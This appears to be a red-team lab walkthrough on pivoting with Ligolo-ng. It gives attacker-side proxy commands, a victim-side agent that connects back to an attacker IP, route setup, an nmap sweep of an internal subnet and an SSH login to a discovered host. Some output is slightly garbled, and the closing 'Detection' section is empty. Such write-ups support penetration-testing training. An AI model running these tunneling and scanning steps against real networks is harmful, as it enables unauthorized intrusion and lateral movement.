## Setting Up Ligolo-ng

Setting up ligolo proxy in attacker machine

```
sudo ./proxy -nocert -laddr 0.0.0.0:1337
```

## Adding an interface for ligolo-ng

```
sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up
```

```
IIIN/None
5: ligolo: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 500
link/none
inet6 fe80::8440:1316:e9b1:d776/64 scope link stable-privacy
valid_lft forever preferred_lft forever
```

## In victim machine, check the ip range

Using ligolo agent binary to connect back to the attacker machine

```
john@ip-10-0-10-249:~$ ./agent -connect 13.234.11.252:1337 -ignore-cert
WARN[0000] warning, certificate validation disabled
INFO[0000] Connection established addr="13.234.11.252:1337"
```

Adding victims ip range to ip route table Sudo ip route add 10.0.0.0/16 dev ligolo

```
ubuntu@ip-172-31-16-214:~$ sudo ip route add 10.0.0.0/16 dev ligolo
```

To enable agent pivoting by running start

```
ligolo-ng » INFO[0004] Agent joined.

name=john@ip-10-0-10-249 remote="3.110.128.140:40962"

ligolo-ng »

ligolo-ng » session

? Specify a session : 1 - john@ip-10-0-10-249 - 3.110.128.140:40962 - 1b7fa120-7bcb-424f-aa19-da41984cf7e0

[Agent : john@ip-10-0-10-249] » start

[Agent : john@ip-10-0-10-249] » INFO[0013] Starting tunnel to john@ip-10-0-10-249
```

Nmap -sn 10.0.0.0/16 -v

```
ubuntu@ip-172-31-16-214:~$ nmap -sn 10.0.0.0/16 -v
Starting Nmap 7.95 ( https://nmap.org ) at 2024-11-16 04:09 UTC
Initiating Ping Scan at 04:09
Scanning 4096 hosts [2 ports/host]
```

```
Scanning ip-10-0-0-10.ap-south-1.compute.internal (10.0.0.10) [1000 ports]
Discovered open port 22/tcp on 10.0.0.10
Completed Connect Scan at 04:01, 6.51s elapsed (1000 total ports)
Nmap scan report for ip-10-0-0-10.ap-south-1.compute.internal (10.0.0.10)
Host is up (0.0029s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
```

```
Wmap scan report for ip-10-0-27-155.ap-south-1.compute.internal (10.0.27.155)
Host is up (0.0037s latency).
Wot shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```

```
ubuntu@ip-172-31-16-214:~$ ssh alex@10.0.0.10
The authenticity of host '10.0.0.10 (10.0.0.10)' can't be established.
ED25519 key fingerprint is SHA256:accCJRe40AnkCICDURg+sANxIrsd+KAjpaE3a/VkoLE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.0.0.10' (ED25519) to the list of known hosts.
alex@10.0.0.10's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-1016-aws x86 64)
 * Documentation: https://help.ubuntu.com
* Management:
                  https://landscape.canonical.com
 * Support:
                  https://ubuntu.com/pro
 System information as of Sat Nov 16 04:32:18 UTC 2024
                                                         -273.1 C
 System load: 0.0
                                  Temperature:
 Usage of /: 15.8% of 28.02GB
                                  Processes:
                                                         112
                                  Users logged in:
 Memory usage: 7%
 Swap usage:
                                  IPv4 address for ens5: 10.0.0.10
 * Ubuntu Pro delivers the most comprehensive open source security and
  compliance features.
  https://ubuntu.com/aws/pro
Expanded Security Maintenance for Applications is not enabled.
20 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
```

## Detection



